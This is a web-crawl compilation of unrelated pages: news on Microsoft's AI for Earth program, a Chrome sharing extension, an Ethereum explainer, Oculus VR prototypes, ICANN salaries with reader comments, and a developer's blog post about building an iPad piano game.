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https://live.godiscourse.com/topics/bfe42101-a1df-4ac8-b656-c287a9c434cb

https://cleantechnica.com/2017/12/28/microsoft-ai-earth-project-will-democratize-access-climate-change-data/

Microsoft "AI For Earth" Project Will Democratize Access To Climate Change Data - CleanTechnica

Steve Hanley

# Microsoft “AI For Earth” Project Will Democratize Access To Climate Change Data *Sign up for daily news updates from CleanTechnica on email. Or follow us on Google News!* Information is power. Until recently, information about the condition of the earth’s environment has been accessible only to a limited number of people — climate scientists, researchers, and government officials among them. On December 11 — the two-year anniversary of the Paris climate accords — Brad Smith, president and chief legal officer of Microsoft, announced his company will invest $50 million over the next 5 years to democratize access to the data available about the environment available from the thousands of land, sea, and atmospheric sensors in place around the world using AI or artificial intelligence. The plan is to make it possible for individuals and business owners to access the data available so they can analyze it themselves and decide how to best take strategic actions that will benefit them personally *and* support the quest for climate change strategies that promote the goals of the Paris climate accords. For instance, Microsoft envisions AI tools that will allow people to conserve energy and reduce water usage in agriculture. On its AI For Earth webpage, Microsoft sets forth 3 goals: **Access —**Through the AI for Earth grant program, individuals and organizations can gain access to cloud and AI computing resources to create more efficient environmental solutions.**Education —**New AI for Earth educational opportunities will enable organizations to explore available AI tools, learn how to use them, and discover how these tools can meet their specific needs.**Innovation —**AI for Earth will accelerate the pace of innovation by managing projects that demonstrate new applications, publishing research to further the scientific discussion, and partnering with others to expand and grow initial projects. “AI can be trained to classify raw data from sensors on the ground, in the sky, or in space into categories that both humans and computers understand,” Smith said. “Fundamentally, AI can accelerate our ability to observe environmental systems and how they are changing at a global scale, convert the data into useful information, and apply that information to take concrete steps to better manage our natural resources.” According to a report by *Futurism*, the expansion of the AI For Earth program involves 3 steps. First, Microsoft will provide funding for researchers around the world to design and test new AI applications. Second, the most promising applications will receive additional funds to bring them to scale. Third, Microsoft will make the most useful applications part of the services it provides to climate scientists and others involved with sustainable initiatives. “We face a collective need for urgent action to address global climate issues. When we think about the environmental issues we face today, science tells us that many are the product of previous Industrial Revolutions,” Smith said as part of the December 11 announcement. “We must not only move technology forward, but also use this era’s technology to clean up the past and create a better future.” Democratizing access to information may provide a means of bypassing the climate trolls who insist climate change is a hoax dreamed up by China to embarrass the US. It could empower people to make up their own minds without resort to the priests of propaganda whose mission is to obfuscate and confuse. With luck, this approach could change the narrative being bandied about by certain political leaders who shall remain nameless. Image credits: Microsoft *Have a tip for CleanTechnica? Want to advertise? Want to suggest a guest for our CleanTech Talk podcast? Contact us here.* #### Latest CleanTechnica.TV Videos *CleanTechnica uses affiliate links. See our policy here.* *CleanTechnica's Comment Policy*

Microsoft will invest $50 million over the next 5 years to make AI tools available to more people so they can access climate data themselves and decide how to adjust their personal lives and businesses to limit the impact of climate change.

2024-10-13 00:00:00

2017-12-28 00:00:00

article

cleantechnica.com

CleanTechnica

http://mashable.com/2010/12/08/cortex/

Cortex for Chrome Makes Sharing Faster, Prettier & More Fun Than Ever [EXCLUSIVE]

Jolie O'Dell

Here's the gist of it: Install the extension, find content you want to share, then click and hold. When you do, your mouse will be surrounded by a wheel of options. Flick your mouse in the correct direction, release your finger and voilà, your content is shared to Twitter, to Tumblr, to a specific Facebook friend's wall -- wherever you desire -- accompanied by a charming "whoosh" sound. The entire process takes about two seconds, and it's as good-looking as it is fast. The Cortex interface is incredibly unique. We're generally big fans of apps that get out of your way when you don't need them; we love it when features are unobtrusive and recede gracefully. In that sense alone, Cortex is the perfect antidote to the array of hideous sharing mechanisms that populate the web today -- those obnoxious bars, frames and buttons that clutter up the visual space and make your eyes long for rest. From a design perspective, Cortex is a breath of entirely fresh air. In terms of user experience, the extension also makes sharing incredibly easy for users. It chooses header text and shortens URLs; it even lets users share just an image or specific selected text. Cortex also lets you track your history of shares. The only thing we wish worked a tad better is image sharing; right now, Cortex sends a link to Twitter and Facebook when we try to share images. Right now, you can share to Facebook, Twitter, Tumblr and Instapaper. More options will be coming soon. Here's a brief demo video that shows how Cortex works: Cortex was just launched along with the all-new Chrome Web Store. It comes from the brain of Google intern-turned-entrepreneur Joey Primiani, who said in an e-mail, "Learning from building successful products at Google, I love focusing on things people use on a daily basis. It's a technology that I think is really focused, very simple and useful." Expect to see tablet and mobile features for Cortex soon. In the meantime, give it a shot and let us know in the comments what you think.

Cortex for Chrome Makes Sharing Faster, Prettier & More Fun Than Ever [EXCLUSIVE]

2024-10-13 00:00:00

2010-12-09 00:00:00

article

mashable.com

Mashable

http://coinmarketcap.com/currencies/ethereum/?valuation

Ethereum price today, ETH to USD live price, marketcap and chart | CoinMarketCap

CoinBites: Ethereum - The Swiss Army Knife of Blockchain Loading Data Please wait a moment. Ethereum community Ethereum Markets All pairs Loading data... Disclaimer: This page may contain affiliate links. CoinMarketCap may be compensated if you visit any affiliate links and you take certain actions such as signing up and transacting with these affiliate platforms. Please refer to Affiliate Disclosure Ethereum news NFTs on Ethereum Loading... About Ethereum What Is Ethereum (ETH)? Ethereum is a decentralized open-source blockchain system that features its own cryptocurrency, Ether. ETH works as a platform for numerous other cryptocurrencies, as well as for the execution of decentralized smart contracts. Ethereum was first described in a 2013 whitepaper by Vitalik Buterin. Buterin, along with other co-founders, secured funding for the project in an online public crowd sale in the summer of 2014. The project team managed to raise $18.3 million in Bitcoin, and Ethereum’s price in the Initial Coin Offering (ICO) was $0.311, with over 60 million Ether sold. Taking Ethereum’s price now, this puts the return on investment (ROI) at an annualized rate of over 270%, essentially almost quadrupling your investment every year since the summer of 2014. The Ethereum Foundation officially launched the blockchain on July 30, 2015, under the prototype codenamed “Frontier.” Since then, there has been several network updates — “Constantinople” on Feb. 28, 2019, “Istanbul” on Dec. 8, 2019, “Muir Glacier” on Jan. 2, 2020, “Berlin” on April 14, 2021, and most recently on Aug. 5, 2021, the “London” hard fork. Ethereum’s own purported goal is to become a global platform for decentralized applications, allowing users from all over the world to write and run software that is resistant to censorship, downtime and fraud. Who Are the Founders of Ethereum? Ethereum has a total of eight co-founders — an unusually large number for a crypto project. They first met on June 7, 2014, in Zug, Switzerland. Russian-Canadian Vitalik Buterin is perhaps the best known of the bunch. He authored the original white paper that first described Ethereum in 2013 and still works on improving the platform to this day. Prior to ETH, Buterin co-founded and wrote for the Bitcoin Magazine news website. British programmer Gavin Wood is arguably the second most important co-founder of ETH, as he coded the first technical implementation of Ethereum in the C++ programming language, proposed Ethereum’s native programming language Solidity and was the first chief technology officer of the Ethereum Foundation. Before Ethereum, Wood was a research scientist at Microsoft. Afterward, he moved on to establish the Web3 Foundation. Among the other co-founders of Ethereum are: - Anthony Di Iorio, who underwrote the project during its early stage of development. - Charles Hoskinson, who played the principal role in establishing the Swiss-based Ethereum Foundation and its legal framework. - Mihai Alisie, who provided assistance in establishing the Ethereum Foundation. - Joseph Lubin, a Canadian entrepreneur, who, like Di Iorio, has helped fund Ethereum during its early days, and later founded an incubator for startups based on ETH called ConsenSys. - Amir Chetrit, who helped co-found Ethereum but stepped away from it early into the development. What Makes Ethereum Unique? Ethereum has pioneered the concept of a blockchain smart contract platform. Smart contracts are computer programs that automatically execute the actions necessary to fulfill an agreement between several parties on the internet. They were designed to reduce the need for trusted intermediates between contractors, thus reducing transaction costs while also increasing transaction reliability. Ethereum’s principal innovation was designing a platform that allowed it to execute smart contracts using the blockchain, which further reinforces the already existing benefits of smart contract technology. Ethereum’s blockchain was designed, according to co-founder Gavin Wood, as a sort of “one computer for the entire planet,” theoretically able to make any program more robust, censorship-resistant and less prone to fraud by running it on a globally distributed network of public nodes. In addition to smart contracts, Ethereum’s blockchain is able to host other cryptocurrencies, called “tokens,” through the use of its ERC-20 compatibility standard. In fact, this has been the most common use for the ETH platform so far: to date, more than 280,000 ERC-20-compliant tokens have been launched. Over 40 of these make the top-100 cryptocurrencies by market capitalization, for example, USDT, LINK and BNB. Since the emergence of Play2Earn games, there has been a substantial increase in interest in the ETH to PHP price. What is Ethereum Name Service? Ethereum Name Service, aka ENS, is a distributed and extensible naming system based on the Ethereum blockchain. It is essentially the Web3 version of DNS, short for domain name service. In its original state, a cryptocurrency address consists of a long string of numbers and letters designed to be read by computers. It may look like this — “0xDC25EF3F5B8A186998338A2ADA83795FBA2D695E” — making it confusing at times to read, and in some cases even leading to loss of funds. ENS provides a solution to this problem of long and confusing crypto addresses by assigning human-readable names to machine-readable identifiers such as Ethereum addresses, metadata, other cryptocurrency addresses and content hashes. With ENS, the long address above could become something as simple as “Alice.eth,” and you can receive any type of cryptocurrency or NFT via your ENS domain. ENS is based on two Ethereum smart contracts. The first is the ENS registry, which records three critical pieces of information: the owner of the domain, the resolver for the domain and the caching time for all records under the domain. The second smart contract is the Resolver, which translates the domain name to a machine-readable address and vice-versa. It is worth adding that in addition to integrating with .eth names, ENS also supports the most popular DNS names, including .com, .org, .io, .app and several others. What is an Ethereum Killer? Since its inception, Ethereum has maintained its spot as the second-largest cryptocurrency by market capitalization. But like every other blockchain network that exists, Ethereum is not perfect. Notable, the legacy blockchain is plagued with high gas fees and low throughput of between 15 to 30 transactions per second. Although plans are already on the way to solve these shortcomings through several upgrades, many competitors have capitalized on this delay to offer crypto users cheaper and faster transactions. The term “Ethereum Killer” emerged around 2016/2017 as substitute blockchains such as Cardano began to enter the crypto scene. In 2018, EOS made its debut as the next “Ethereum killer,” raising $4.1 billion from investors, the highest amount an ICO had ever generated. Since then, others like Tezos, Solana, Fantom, Avalanche and Binance Smart Chain have surfaced as possible Ethereum killers. Each of these blockchains employs a different consensus model to tackle Ethereum’s PoW-induced limitations. For instance, Solana uses proof-of-history (PoH) while Binance Smart Chain utilizes both proof-of-authority (PoA) and delegated proof-of-stake (DPoS). However, none of these alternative blockchains have been able to unseat Ethereum as the second-largest cryptocurrency by market cap. Ethereum is also currently the largest blockchain for NFT trading activities. What Is EIP-1559? The EIP-1559 upgrade introduces a mechanism that changes the way gas fees are estimated on the Ethereum blockchain. Before the upgrade, users had to participate in an open auction for their transactions to be picked up by a miner. This process is known as a “first-price auction,” and as expected, the highest bidder wins. With EIP-1559, this process is handled by an automated bidding system, and there is a set “base fee” for transactions to be included in the next block. This fee varies based on how congested the network is. Furthermore, users who wish to speed up their transactions can pay a “priority fee” to a miner for faster inclusion. EIP-1559 also introduces a fee-burning mechanism. A part of every transaction fee (the base fee) is burned and removed out of circulation. This is intended to lower the circulating supply of Ether and potentially increase the value of the token over time. Interestingly, less than two months after the London upgrade was implemented, the network had burned over $1 billion worth of Ether. How Many Ethereum (ETH) Coins Are There In Circulation? In September 2021, there were around 117.5 million ETH coins in circulation, 72 million of which were issued in the genesis block — the first ever block on the Ethereum blockchain. Of these 72 million, 60 million were allocated to the initial contributors to the 2014 crowd sale that funded the project, and 12 million were given to the development fund. The remaining amount has been issued in the form of block rewards to the miners on the Ethereum network. The original reward in 2015 was 5 ETH per block, which later went down to 3 ETH in late 2017 and then to 2 ETH in early 2019. The average time it takes to mine an Ethereum block is around 13-15 seconds. In the August 2021 Ethereum network upgrade, the London hard fork contained the Ethereum Improvement Protocol, EIP-1559. Instead of the first-price auction mechanism where the highest bidder wins, EIP-1559 introduces a “base fee” for transactions to be included in the next block. Users that want to have their transaction prioritized can pay a “tip” or “priority fee” to miners. As the base fee adjusts dynamically with transaction activity, this reduces the volatility of Ethereum gas fees, although it does not reduce the price, which is notoriously high during peak congestion on the network. One of the major differences between Bitcoin and Ethereum’s economics is that the latter is not deflationary, i.e. its total supply is not limited. Ethereum’s developers justify this by not wanting to have a “fixed security budget” for the network. Being able to adjust ETH’s issuance rate via consensus allows the network to maintain the minimum issuance needed for adequate security. With the introduction of EIP-1559 however, the base fees used in transactions are burned, removing the ETH from circulation. This means higher activity on the network would lead to more ETH burned, and the decreasing supply should lead to appreciation of Ethereum price, all things equal. This has the potential to make Ethereum deflationary, something ETH holders are excited about — a potential appreciation in Ethereum price today. How Is the Ethereum Network Secured? As of August 2020, Ethereum is secured via the Ethash proof-of-work algorithm, belonging to the Keccak family of hash functions. There are plans, however, to transition the network to a proof-of-stake algorithm tied to the major Ethereum 2.0 update, which launched in late 2020. After the Ethereum 2.0 Beacon Chain (Phase 0) went live in the beginning of December 2020, it became possible to begin staking on the Ethereum 2.0 network. An Ethereum stake is when you deposit ETH (32 ETH is required to activate validator software) on Ethereum 2.0 by sending it to a deposit contract, thus helping to secure the network by storing data, processing transactions and adding new blocks to the blockchain. At the time of writing in mid-September 2021, the Ethereum price now for 32 Ether is roughly $116,029. The amount of money earned by Ethereum validators right now is a return of 6% APR, which equates to around 1.91952 ETH, or $6960 in Ethereum price today. This number will change as the network develops and the amount of stakers (validators) increase. Ethereum staking rewards are determined by a distribution curve (the participation and average percent of stakers): some ETH 2.0 staking rewards were at 20% for early stakers, but will be lowered to end up between 7% and 4.5% annually. The minimum requirements for an Ethereum stake are 32 ETH. If you decide to stake in Ethereum 2.0, it means that your Ethererum stake will be locked up on the network for months, if not years, in the future until the Ethereum 2.0 upgrade is completed. Where Can You Buy Ethereum (ETH)? Given the fact that Ethereum is the second-largest cryptocurrency after Bitcoin, it is possible to buy Ethereum, or use ETH trading pairs on nearly all of the major crypto exchanges. Some of the largest markets include: The Ethereum network has been plagued with high transaction fees, often spiking at seasons of high demand. In May 2021, the average transaction fee of the network peaked at $71.72. In addition to the high cost of transactions, the leading altcoin also suffers from scalability issues. As already mentioned, there are plans to transition to a proof-of-stake algorithm in order to boost the platform’s scalability and add a number of new features. The development team has already begun the transition process to ETH 2.0, implementing some upgrades along the way, including the London hard fork. The London upgrade went live in August 2021. It included five Ethereum Improvement Proposals (EIPs), namely EIP-3529, EIP-3198, EIP-3541, and most notably EIP-1559 and EIP-3554. EIP-1559 is arguably the most popular upgrade out of all the EIPs. Ethereum 2.0 In 2022, Ethereum plans to switch to proof-of-stake with its Ethereum 2.0 update. This switch has been in the Ethereum roadmap since the network's inception and would see a new consensus mechanism, as well as introduce sharding as a scaling solution. The current Ethereum chain will become the Beacon Chain and serve as a settlement layer for smart contract interactions on other chains. In January 2022, the Ethereum Foundation announced the decision to remove the “Ethereum 2.0” terminology to “save all future users from navigating this confusing mental model.” It went on to explain that the previously-referred-to terms of “Ethereum 1.0” would be branded the “execution layer,” while “Ethereum 2.0” will be called the “consensus layer”. This is ultimately to provide a more accurate version of the Ethereum roadmap. In an update on the progress of the Merge, on April 13, 2022, Ethereum developer Tim Beiko tweeted an update on the progress of the Merge, stating that they are “definitely in the final chapter of PoW on Ethereum.” He also mentioned that users can expect it to occur a few months after June, although no exact date was provided. This came on the back of the first mainnet shadow fork — to test the transition to PoS on Ethereum — that was successfully implemented on April 11, 2022. The Ethereum Merge In 2022, Ethereum renamed its transition from proof-of-work to proof-of-stake from Ethereum 2.0 to The Merge. The Merge went live on Sept. 15, 2022, after the merge of the Goerli testnet successfully completed on Aug. 11, 2022. The Merge implements several critical changes to Ethereum. First, it merges the existing PoW Ethereum mainnet with the Beacon Chain, a PoS chain. Together, the two chains will form the new proof-of-stake Ethereum, which will consist of a consensus layer and an execution layer. The consensus layer will synchronize the chain state across the network, while the execution layer handles transactions and block production. Second, the Merge significantly reduces ETH issuance. This has been dubbed the "triple halving" in a nod to the Bitcoin halving, since the Merge reduces ETH issuance by 90%. With more than 14M ETH already staked, ETH could very well become deflationary after the transition. Furthermore, stakers are expected to earn between 8% and 12% APR at current projections. Staked ETH will not be withdrawable immediately after the Merge — it will only be enabled after the Shanghai upgrade, estimated to be 6 to 12 months later. The Merge will not increase transaction throughput or reduce gas fees, as the block production rate stays roughly the same at 12 seconds (currently 13 seconds). It will also not enable on-chaingovernance, with protocol changes still discussed and decided off-chain through stakeholders. Importantly, the transition to PoS is expected to reduce Ethereum's annual energy consumption from 112 TWh/yr to only 0.01 TWh/yr — a 99.9% drop. This reduction prompted investors to expect an influx of institutional money in a "greener" Ethereum. On the flip side, Ethereum miners, in an industry estimated to be worth $19 billion, seek to champion ETHPoW, a potential hard fork of Ethereum on proof-of-work. We explain the main differences in our ETH PoS vs ETH PoW article. Ethereum Shanghai Upgrade The biggest Ethereum upgrade since The Merge, the Shanghai Upgrade will allow ETH stakers to unstake their ETH and withdraw ETH rewards from the Beacon Chain. During The Merge, the Ethereum proof-of-work chain merged with the proof-of-stake Beacon Chain. Instead of mining, validators stake 32 ETH to secure the network. However, stakers are unable to unstake and withdraw until the Shanghai Upgrade. The Shanghai/Capella (“Shapella”) Upgrade is a hard fork that will implement five EIPs — the most anticipated being EIP-4895, which will enable withdrawals. Shanghai is the hard fork’s name on the execution layer, while Capella is the name on the consensus layer. On Feb. 7, 2023, withdrawals on the Zhejiang testnet were enabled, and on Feb. 28, the Sepolia testnet successfully executed the hard fork upgrade. On March 15, 2023, the hard fork was executed on the Goerli testnet, the last test run before the mainnet upgrade, expected to happen sometime in March 2023. Over 17.5 million ETH will become available for withdrawals. The live Ethereum price today is $2,468.95 USD with a 24-hour trading volume of $9,252,033,892 USD. We update our ETH to USD price in real-time. Ethereum is up 1.28% in the last 24 hours. The current CoinMarketCap ranking is #2, with a live market cap of $297,220,151,589 USD. It has a circulating supply of 120,383,421 ETH coins and the max. supply is not available.

The live Ethereum price today is $2,468.95 USD with a 24-hour trading volume of $9,252,033,892.39 USD. We update our ETH to USD price in real-time.

2024-10-13 00:00:00

2024-10-11 00:00:00

website

coinmarketcap.com

CoinMarketCap

http://blog.acumenfund.org/2010/10/25/learning-from-mistakes-following-up-on-failed-ventures/

https://www.roadtovr.com/oculus-half-dome-2-3-prototype-form-factor-oculus-connect-6/

Oculus Reveals New Prototype VR Headsets with Major Advances in Optics Form-factor

Ben Lang

On stage at Oculus Connect today, Facebook Reality Labs Chief Scientist Michael Abrash revealed two new prototype VR headsets from the company, Half Dome 2 and Half Dome 3. Both headsets offer improvements over the original Half Dome prototype showed off last year. Last year Facebook showed off Half Dome, a prototype VR headset which offered up a much larger field of view than current Rift or Quest headsets, as well as varifocal displays which allows the headset to display a more comfortable and natural view to our human eyes. Today the company revealed two new versions of Half Dome, simply called Half Dome 2 and Half Dome 3. While both still aim to deliver a wider field of view and varifocal display, they also focus on reducing the form-factor to make headsets smaller and more comfortable. While the original Half Dome used mechanic actuators to move the screen in order to achieve the varifocal feature, Half Dome 2 does this through a voice coil actuator which reduces sound and vibrations of the varifocal mechanism to “imperceptible” levels. What’s more, Half Dome 2 brings major advancements in the optical pipeline, substantially reducing the size of the headset form-factor. Abrash said this was achieved by “folding the optical path into a very small volume.” Indeed, renderings of the optical modules between Half Dome and Half Dome 2 show a drastic reduction in size. Half Dome 3 takes this one step further. Instead of physically moving the display in order to achieve varifocal capability, the Half Dome 3 prototype uses an electronically controlled lens array which allows it to cycle through 64 discrete focus planes. This further shrinks the size of the optical module, making Half Dome 3 even more compact. Abrash did say that Half Dome 2 and 3 had to trade-off some of the original Half Dome’s field of view improvements in order to achieve these compact form-factors, but said that even so they still offered a larger field of view than current Rift and Quest headsets. So far the company isn’t saying when these technologies will make their way into new Oculus headsets, but it doesn’t sound like it’ll be any time terribly soon.

On stage at Oculus Connect today, Facebook Reality Labs Chief Scientist Michael Abrash revealed two new prototype VR headsets from the company, Half Dome 2 and Half Dome 3. Both headsets offer improvements over the original Half Dome prototype showed off last year. Last year Facebook showed off Half Dome, a prototype VR headset which …

2024-10-13 00:00:00

2019-09-25 00:00:00

article

roadtovr.com

Road to VR

http://domainnamewire.com/2016/05/16/icann-salaries/

18 ICANN employees make $250k+ - Domain Name Wire | Domain Name News

Andrew Allemann

**Employee compensation revealed in latest tax return.** ICANN has published its FY 2015 tax return (pdf), revealing compensation paid to its key and most highly-compensated employees. 18 employees are listed with compensation of at least $250,000. Fadi Chehade led the pack with $737,146 in reportable compensation. Akram Atallah, president of the Global Domains Division, wasn’t far behind at $608,211. The other top paid employees are: John Jeffrey, General Counsel and Secretary, $530,837 Yu Chuang Kuek, VP Global Stakeholder Engagement, $508,564 Susanna Bennett, COO $425,190 Theresa Swinehart, Sr. Advisor to President on Strategy $421,022 Xavier Calvez, CFO $373,561 ICANN’s published compensation policy is to provide compensation in the 50th to 75th percentile of similar positions at other non-profits and for-profit employers for which it competes for talent. Of course, ICANN can’t offer stock options. However, its employees receive very generous benefits. The last public document I can find (2014) revealed that employees receive a 5% contribution to their 401(k) without even requiring an employee contribution, plus an addition 10% match with immediate vesting. You won’t find that kind of deal in the private sector. (Hat tip: George Kirikos) Nuno says I should be working for ICANN instead of just funding them with so much money for the past 15 years. Ken Schabelski says …would be nice to know what they do to justify those amounts… Andrew Allemann says A lot of ICANN employees work very, very hard. I am surprised that the total comp is only in the 50-75% range, though. JZ says lord knows what they even do in a day. Jacks Khawaja says As a former employee, we worked very hard not only in the LA office but also abroad at ICANN meetings. A lot of travel is involved in ensuring security and stability for the Internet. Those outside of ICANN assume that it’s a big money grab, however; the staff a lot of hours every week to ensure that the mandates are being met…In addition, there’s a great deal of cooperation with various technical orgs.; however; you wouldn’t know unless you’re part of the community. John says What a BS They are as useless as government bureaucrats Joseph Peterson says It’s easy to make scapegoats of well paid managers – especially when there’s widespread discontent and skepticism regarding ICANN policies, implementation, and susceptibility to special interests. But it’s important, I think, to focus on those actual issues rather become distracted by salaries which are, in reality, fairly ordinary. There is NO global industry of any importance in which the top 2 dozen managers DON’T make at least $250k. To be sure, $737k in compensation is a large amount; but it’s actually typical or even a bit small in comparison to other companies and organization. Keep in mind, that’s the top person at ICANN – the organization that oversees internet policy for the entire world. Regardless of whether you think $737k is fair or not, it is consistent with pay elsewhere. For example, the top 15 presidents of private colleges in the USA were compensated between $1.3 million and $4.6 million annually in 2013. Even public colleges paid their top 15 presidents between $688k and $1.5 million per year. Meanwhile Morgan Stanley pays its CEO something on the order of $21 million. A charity like UNICEF pays its CEO around $1.3 million and gives him a Rolls Royce, I believe. The American Red Cross pays its CEO around $652k, from what I can see. And the CEO of Goodwill – where we donate items we’re no longer using – makes around $2.5 million per year, as I recall. In reality, if top executives aren’t paid the going rate, then they go elsewhere. ICANN policies are imperfect. But I’d still prefer to have well qualified people executing those imperfect policies rather than the dregs – executives who couldn’t get hired in other industries. Note: A few years ago, I applied for a position at ICANN and never received a response. Seems only fair to admit that up front. Andrew Allemann says I think the CEO role is underpaid for what ICANN has become. John says He should quit then. McDonald’s is still hiring HY says Be careful what you wish for. Carlton Samuels says Definitely! +1

Employee compensation revealed in latest tax return. ICANN has published its FY 2015 tax return (pdf), revealing compensation paid to its key and most highly-compensated employees. 18 employees are listed with compensation of at least $250,000. Fadi Chehade led the pack with $737,146 in reportable compensation. Akram Atallah, president of the Global Domains Division, wasn’t […]

2024-10-13 00:00:00

2016-05-16 00:00:00

article

domainnamewire.com

Domain Name Wire | Domain Name News

https://www.sfgate.com/news/article/1-in-6-Gen-Z-adults-are-LGBT-And-this-number-15975197.php

http://eyespopping.com/18-simple-ideas-to-simplify-your-daily-life/

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2024-10-13 00:00:00

https://science.sciencemag.org/content/365/6457/1021

http://codesheriff.blogspot.com/2012/04/developing-piano-dust-buster.html

Developing "Piano Dust Buster"

Unknown

## About the game The game is a piano song game, that you can play both in touch mode and with your own real piano.The idea is to give a tap-tap/guitar hero like experience, while being on the more educational side (e.g. piano keys are real-life sized + there's a game mode with a musical staff that you can learn reading sheet music through) + instead of playing with a toy guitar, you can play with your own real instrument, so you're actually practicing. Here's the game trailer, so you can get a hunch of what's the game like: For more info, visit the game's homepage: www.joytunes.com/piano The link to the game: http://itunes.apple.com/us/app/piano-dust-buster-song-game/id502356539?mt=8 ## Techincal Facts - We chose to develop the game in pure objective-c and not some cross platform framework like Adobe AIR. Mainly for performance reasons (recognizing which real piano note was played in real time) and it also allowed us to give a native look-and-feel for menus etc. - The chosen game engine was The Sparrow Framework. The main reason for choosing this framework is because JoyTunes's existing games were written in ActionScript and Sparrow is imitating the ActionScript SDK pretty well. I also found it much easier to learn than the popular alternative - cocos2d. - A major part of the game was developed in TDD (which I'm sure is not something you can say about many games in the app store). ## Lessons Learned Since this is both the first iOS app and the first game I developed officially, I learned A LOT and have a tons to share:**A good second programmer can increase productivity in >x3 factor** I started to develop "Piano Dust Buster" as a sole programmer, and about 2-3 months later another rockstar game developer (@noamgat) joined JoyTunes and started to work with me on this project. I was actually lucky enough to have known Noam previously, and we actually took a very thorough programming course together, so we also had a real good understanding of each other. The increase in development pace was unbelievable. In the first few weeks, we did pretty much only pair-programming. This was my way of mentoring him both on the existing codebase, and on Objective-C and development tools. The benefits of pair programming are well discussed here, and I can really relate. You would think that pairing with someone new to the technology and to the codebase would slow me down, but it really did the opposite - I found myself spending much less time on pondering what would be a good design here and what would be a good behavior there, which were taking a very large percentage of my time when working alone. Needless to say that when Noam got the hang of things our velocity was improving constantly. We still consulted each other about tricky decisions and could get through them quickly, and of course dividing the more straightforward tasks between us helped us finishing them much faster. **It's amazing to work on something that you have a real passion towards** My 2 greatest passions in life are software development and music. I felt so amazing being both a part of the musical production team and the development team of this game. Also, I could solve problems like an algorithm to locate a note correctly on a musical staff, while applying advance TDD techniques such as Uncle Bob's Transformation Priority Premise - a classic combination of my 2 big passions. A piece of advice: If you are developers and have an additional passion in life (like I do), when the opportunity arrives to work on something that relates to this passion, don't hesitate and take it. I left a really fun job at IBM in order to join JoyTunes, working more hours for less money, and I don't regret it for a second, because of all the things I learned and the amazing fun I had combining my loves while developing this game. **Prototyping is a powerful and important tool.** Requirements from a game are much fuzzier than developing a server-side application, especially the requirements from the UI layer. You rarely have a good idea of what is the "correct" behavior, and how things should look and interact on screen. Therefore, you have to just go ahead and write a lot of half-baked prototypes for different game modes and interactions, then give it to a bunch of people and see how they feel about it. You will quickly get a grasp of what's working and what's not. **Start usability testing early** Due to the fact that you can know if your menus and your game levels are behaving "correctly" until the players interact with them, usability testing is a crucial phase before releasing. For us, it was especially important to see how children of different age groups interact with the game, and how people with various piano experience level do. I can say we found tons of issues in our usability tests, and I actually wish we started the tests in a much earlier phase, because we had to delay our release date in order to fix all the critical usability issues. **Don't take every criticism and feedback too hard**Once again, it's hard to define what feels "right" when playing a game, especially when it comes to a game with a lot of visual art and background music. You need to remember that different people have different opinions and different taste. The more usability you do, the more different opinions you are going to get. It's going to be impossible to please everybody, and it's going to be impossible for you to release the "perfect" game that has no usability issues at all. Heck, I'm sure if I look at successful games like "Angry Birds" from a judgmental point of view, I'll easily come up with 2 pages of things they could have done better. So just know your 80-20 rule, and know which feedback is critical and should be fixed immediately, and which feedback is what you are aware of and are willing to live with. You will never release otherwise. **Analytics are super important**What's a better usability test than the data arriving from all the app store users of your game? There are a lot of good analytics frameworks out there that can help you with this task. We used Flurry. In order to get useful data though, you need to make sure you collect analytics about pretty much everything, and you need to design it carefully so you would be able to extract the essence of your problematic use patterns and what's causing them from the data. Also, we often forget to test the analytics part of our code, since it's not something you usually look for testing in the QA phase. However, if you have a bug there when you release to the App Store (which we did), you would be stuck with the bug until your next update, which could be quite painful. **Continuous Deployment is a pain in iOS development** Nothing would make me happier than the ability to add a tiny feature and simply deploy it to all our users and see its impact immediately. Unfortunately, since releasing an update for your app includes a review process that takes approximately 1 week, continuous deployment is not an option. Also, an update has other hidden meanings like losing all you current version's ranking and reviews. This makes an update something you really need to plan carefully, which is problematic for many reasons (see any continuous deployment presentation/book). A solution for this issue that is only partial: Use the TestFlight API to automatically build and deploy to your up-to 100 beta testers after each commit. At least you'll get some feedback. However, what's 100 beta testers compared to tens of thousands users in the app store? ## Spread the word! That's it for now. As you can see, I had a blast working on this game, and we have tons of features and big plans for it in the future. I hope you enjoyed this post and I think I'll post some more thoughts of this kind in the future.If you have an iPad, it would be really cool if you download the game and give it a nice review in the app store, and if you don't - it would be really cool if you would share this to someone who has :) Awesome post. Sincere and useful (especially the part about the criticism - boy, is that familiar...) ReplyDeleteAnd that minor detail of the link to the game :-) ReplyDeletehttp://itunes.apple.com/us/app/piano-dust-buster-song-game/id502356539?mt=8 Enjoyed the post. Great to hear that others share passion to music and technology. Great luck with the product. ReplyDeleteGreat job ReplyDeleteI wrote a post about JoyTunes Piano Dust Buster Game I think you should make a second version, aimed at adults. Or have an option to disable the "cutesy" graphics. ReplyDeleteHey Yoni, ReplyDeleteI have a question about your use of audio technology in the game. Did you use the OpenAL frameworks/ AVAudioPlayer with Sparrow, or did you have to use the lower-level Core Audio, remote IO, etc. to get the awesome latency you did with the game I bought and love the app and I'm just getting started with audio in iOS so any help would be greatly appreciated! Hey Korin, thank you for your comment. DeleteWe actually used AVAudioPlayer/Sparrow for playing background music and sound effects, OpenAL for the touch piano sound, and lower level Core Audio for recording and analyzing the real piano. I hope this helps :) BTW, I highly recommend watching the WWDC sessions about the AVFoundation framework. They will help you to get started on audio in iOS. Hello, Yoni, ReplyDeleteFor your pitch analysis library, did you use any open software or write all of the code in house? Since you're listening only to pianos, I'd imagine that you could tailor the frequency analysis so that the results were more accurate. Did you find any libraries or code on which to model that? It would be cool if there were a low cost or open source library out there for that. It would lower the barrier to all sorts of educational games for piano students. Thanks, Henry Wonderful article, thanks for putting this together! This is obviously one great post. ReplyDeletedust mite detection you have decided to set a part on this site for the inquiries regarding tax and as well as the helpful discussions. Do My Homework For Me Cheap To be honest, this is one of the few sites that are doing this kind of strategy. ReplyDelete

So... "Piano Dust Buster" - the game I've been working on in the past few months in JoyTunes - is live in the iPad App Store for two weeks n...

2024-10-12 00:00:00

2012-04-14 00:00:00

https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tUicyj9uFRYsgV5kySIE0eurS9XKUFwfeRxelGcb5oE8kiZXZgeo0nbKbQhcx1ypiKPyr7RH48PZ5G16GjqWxuJFnGr9eCBW14=w1200-h630-n-k-no-nu

blogspot.com

codesheriff.blogspot.com

https://monkeylearn.com/blog/5-tiny-customer-support-automations-to-save-your-team-tons-of-time/

Real Time Text Analytics Software - Medallia

